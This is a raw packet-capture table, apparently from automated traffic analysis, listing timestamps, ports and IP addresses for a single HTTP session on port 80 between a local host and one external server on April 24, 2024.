Apr 24, 2024 14:43:18.118345022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118355989 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118417978 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118422985 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118515015 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118526936 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118640900 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118680000 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118747950 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118792057 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118809938 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118854046 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118870974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118906975 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.118930101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.118982077 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119003057 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119024038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119041920 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119123936 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119178057 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119277000 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119328022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119364977 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119395971 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119395971 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119405985 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119455099 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119458914 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119508028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119538069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119550943 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119590044 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119617939 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119632006 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119688034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119755983 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119760036 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119801998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119820118 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119844913 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.119934082 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.119960070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120002985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120009899 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120042086 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120080948 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120246887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120310068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120448112 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120604992 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120647907 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120687008 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120728016 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120767117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120809078 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120825052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120892048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.120910883 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.120985031 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121011019 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121047020 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121251106 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121331930 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121352911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121375084 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121428967 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121448040 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121479988 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121531963 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121531963 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121571064 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121714115 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121751070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121764898 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121850014 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.121890068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121932983 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.121954918 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122019053 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122036934 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122086048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122127056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122284889 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122347116 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122358084 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122409105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122433901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122534990 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122569084 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122600079 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122741938 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122764111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122788906 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122833967 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.122865915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.122929096 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123013973 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123061895 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123074055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123116016 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123116970 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123147011 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123172998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123245001 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123276949 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123326063 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123370886 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123400927 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123414993 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123419046 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123487949 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123516083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123555899 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123668909 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123732090 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123739958 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.123960972 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.123970985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124140024 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124219894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124298096 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124371052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124387026 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124455929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124494076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124512911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124567032 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124588013 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124589920 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124619007 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124649048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124654055 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124702930 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124721050 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124742031 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124758005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124835968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124927044 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.124931097 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.124988079 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125006914 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125024080 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125062943 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125099897 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125118971 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125173092 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125193119 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125200987 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125235081 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125235081 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125263929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125303984 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125327110 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125415087 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125449896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125449896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125482082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125513077 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125572920 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125664949 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125715971 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125737906 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125799894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125866890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125876904 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125916958 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125916958 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.125963926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.125996113 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126022100 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126075983 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126076937 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126115084 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126120090 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126164913 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126168966 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126230955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126249075 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126277924 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126310110 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126378059 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126404047 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126481056 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126542091 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126565933 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126620054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126638889 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126682043 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126729012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126766920 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126806974 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126857996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126871109 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126940012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.126954079 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.126997948 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127069950 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127136946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127185106 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127224922 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127295017 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127298117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127332926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127338886 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127377033 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127397060 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127429008 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127491951 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127511024 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127538919 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127587080 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127587080 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127614975 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127666950 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127680063 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127734900 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127780914 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127780914 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127818108 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127831936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127872944 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127872944 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127904892 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.127938986 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.127995968 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128056049 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128071070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128114939 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128129959 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128180981 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128204107 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128237009 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128237009 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128318071 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128391027 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128402948 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128451109 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128483057 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128546000 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128573895 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128627062 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128645897 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128691912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128710985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128726006 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128772974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128798008 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128820896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128875971 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128894091 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128895998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128926992 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.128957987 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.128988028 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129020929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129040003 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129055023 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129062891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129086971 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129106045 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129151106 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129168987 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129203081 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129256010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129282951 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129328012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129348040 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129400969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129439116 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129439116 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129450083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129496098 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129519939 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129586935 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129623890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129623890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129638910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129700899 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129719019 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129724026 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129741907 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129780054 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129803896 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129839897 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129858971 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129901886 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129914045 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129945993 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.129966974 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.129981995 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130011082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130047083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130086899 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130157948 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130158901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130157948 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130212069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130232096 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130285978 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130333900 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130373001 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130409956 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130494118 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130605936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130688906 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130742073 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130743980 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130801916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.130805969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130861998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130951881 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.130970955 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131036043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131057978 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131093979 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131104946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131177902 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131203890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131300926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131304979 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131382942 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131402969 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131434917 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131496906 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131508112 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131536961 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131555080 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131588936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131627083 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131627083 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.131652117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.131752968 CEST	80	49710	193.233.132.175	192.168.2.8
